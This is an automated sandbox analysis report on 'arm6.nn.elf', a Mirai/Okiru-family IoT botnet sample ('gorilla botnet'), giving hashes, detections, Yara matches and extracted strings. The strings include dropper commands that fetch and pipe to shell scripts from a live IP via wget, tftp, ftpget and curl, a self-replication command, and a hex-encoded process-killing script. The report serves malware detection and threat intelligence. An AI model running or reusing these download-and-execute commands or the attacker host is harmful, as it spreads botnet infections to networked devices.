Linux Analysis Report
arm6.nn.elf

Overview

General Information

Sample name: arm6.nn.elf
Analysis ID: 1538225
MD5: 836a0158a901f5659b8f779a54df7221
SHA1: 0878e8a6ded1e6edf8dda91c409759dd5e42bfa0
SHA256: 1789a8704a69fec5a1f096f751bd0c0c47d45b4c5de5f17dc4acc4465b2c446c
Tags: elfuser-abuse_ch
Infos:

Detection

Mirai, Okiru
Score: 72
Range: 0 - 100
Whitelisted: false

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
Yara detected Mirai
Yara detected Okiru
Found strings indicative of a multi-platform dropper
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Sample has stripped symbol table
Uses the "uname" system call to query kernel version information (possible evasion)

Classification

Name Description Attribution Blogpost URLs Link
Mirai Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world. No Attribution https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

AV Detection

barindex
Source: arm6.nn.elf Avira: detected
Source: arm6.nn.elf ReversingLabs: Detection: 44%
Source: arm6.nn.elf String: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresharktcpdumpnetstatpythoniptablesnanonvimvimgdbpkillkillallapt/bin/login/proc/self/statusTracerPid/proc/1/cgroupkubepods/proc filesystem not found. Exiting. gorilla botnet didnt like this honeypot..../etc/motdw%s
Source: arm6.nn.elf String: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh193.143.1.70GET /dlr. HTTP/1.0
Source: global traffic DNS traffic detected: DNS query: daisy.ubuntu.com
Source: arm6.nn.elf String found in binary or memory: http://193.143.1.70/
Source: arm6.nn.elf String found in binary or memory: http://193.143.1.70/curl.sh
Source: arm6.nn.elf String found in binary or memory: http://193.143.1.70/lol.sh
Source: Initial sample String containing 'busybox' found: /bin/busybox
Source: Initial sample String containing 'busybox' found: (deleted)/proc/self/exe/proc/%s/exe/proc/opendir/proc/%d/proc/proc/%u/statusPPid:/proc/%u/cmdline-bash-sh/bin/shFound And Killed Process: PID=%d, Realpath=%s487154914<146<2surf2/proc/%d/exe/./fd/socket/tmp/usr/lib/systemd/*/usr/sbin/*/usr/sbin/agetty/usr/sbin/cron/usr/lib/policykit-1/polkitd/snap/snapd/15534/usr/lib/snapd/snapd/usr/bin/dbus-daemon/usr/lib/openssh/sftp-server-sshd**deamon*/usr/libexec/openssh/sftp-server/opt/app/monitor/z/secom//usr/lib/usr/mnt/sys/bin/boot/media/srv/sbin/lib/etc/dev/telnetbashhttpdtelnetddropbearropbearencodersystem/var/tmp/wlancontwlancontarm.nnarm5.nnarm6.nnm68k.nnmips.nnmipsel.nnpowerpc.nnsparc.nnx86_32.nnx86_64.nn/initvar/Challengeapp/hi3511gmDVRiboxusr/dvr_main _8182T_1108mnt/mtd/app/guivar/Kylinl0 c/udevdanko-app/ankosample _8182T_1104var/tmp/soniahicorestm_hi3511_dvr/bin/busybox/usr/lib/systemd/systemdshellvar/run/home/Davincisshwatchdog/var/spool/var/Sofiasshd/usr/compress/bin//compress/bin/compress/usr//root/dvr_gui//root/dvr_app//anko-app//opt/wgetcurlping/pswiresha
Source: Initial sample String containing 'busybox' found: usage: busybox
Source: Initial sample String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample String containing 'busybox' found: /bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;
Source: Initial sample String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http://193.143.1.70/lol.sh -O- | sh;/bin/busybox tftp -g http://193.143.1.70/ -r lol.sh -l- | sh;/bin/busybox ftpget http://193.143.1.70/ lol.sh lol.sh && sh lol.sh;curl http://193.143.1.70/curl.sh -o- | sh193.143.1.70GET /dlr. HTTP/1.0
Source: Initial sample String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe Gorilla/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4
Source: ELF static info symbol of initial sample .symtab present: no
Source: classification engine Classification label: mal72.troj.linELF@0/0@2/0
Source: /tmp/arm6.nn.elf (PID: 5512) Queries kernel information via 'uname': Jump to behavior
Source: arm6.nn.elf, 5512.1.0000560fb28e9000.0000560fb2a17000.rw-.sdmp Binary or memory string: /etc/qemu-binfmt/arm
Source: arm6.nn.elf, 5512.1.00007ffc5752f000.00007ffc57550000.rw-.sdmp Binary or memory string: /usr/bin/qemu-arm
Source: arm6.nn.elf, 5512.1.0000560fb28e9000.0000560fb2a17000.rw-.sdmp Binary or memory string: V!/etc/qemu-binfmt/arm
Source: arm6.nn.elf, 5512.1.00007ffc5752f000.00007ffc57550000.rw-.sdmp Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/arm6.nn.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/arm6.nn.elf
Source: arm6.nn.elf, 5512.1.00007ffc5752f000.00007ffc57550000.rw-.sdmp Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Stealing of Sensitive Information

barindex
Source: Yara match File source: arm6.nn.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007fce6c017000.00007fce6c032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: arm6.nn.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007fce6c017000.00007fce6c032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.nn.elf PID: 5512, type: MEMORYSTR

Remote Access Functionality

barindex
Source: Yara match File source: arm6.nn.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007fce6c017000.00007fce6c032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: arm6.nn.elf, type: SAMPLE
Source: Yara match File source: 5512.1.00007fce6c017000.00007fce6c032000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: arm6.nn.elf PID: 5512, type: MEMORYSTR
No contacted IP infos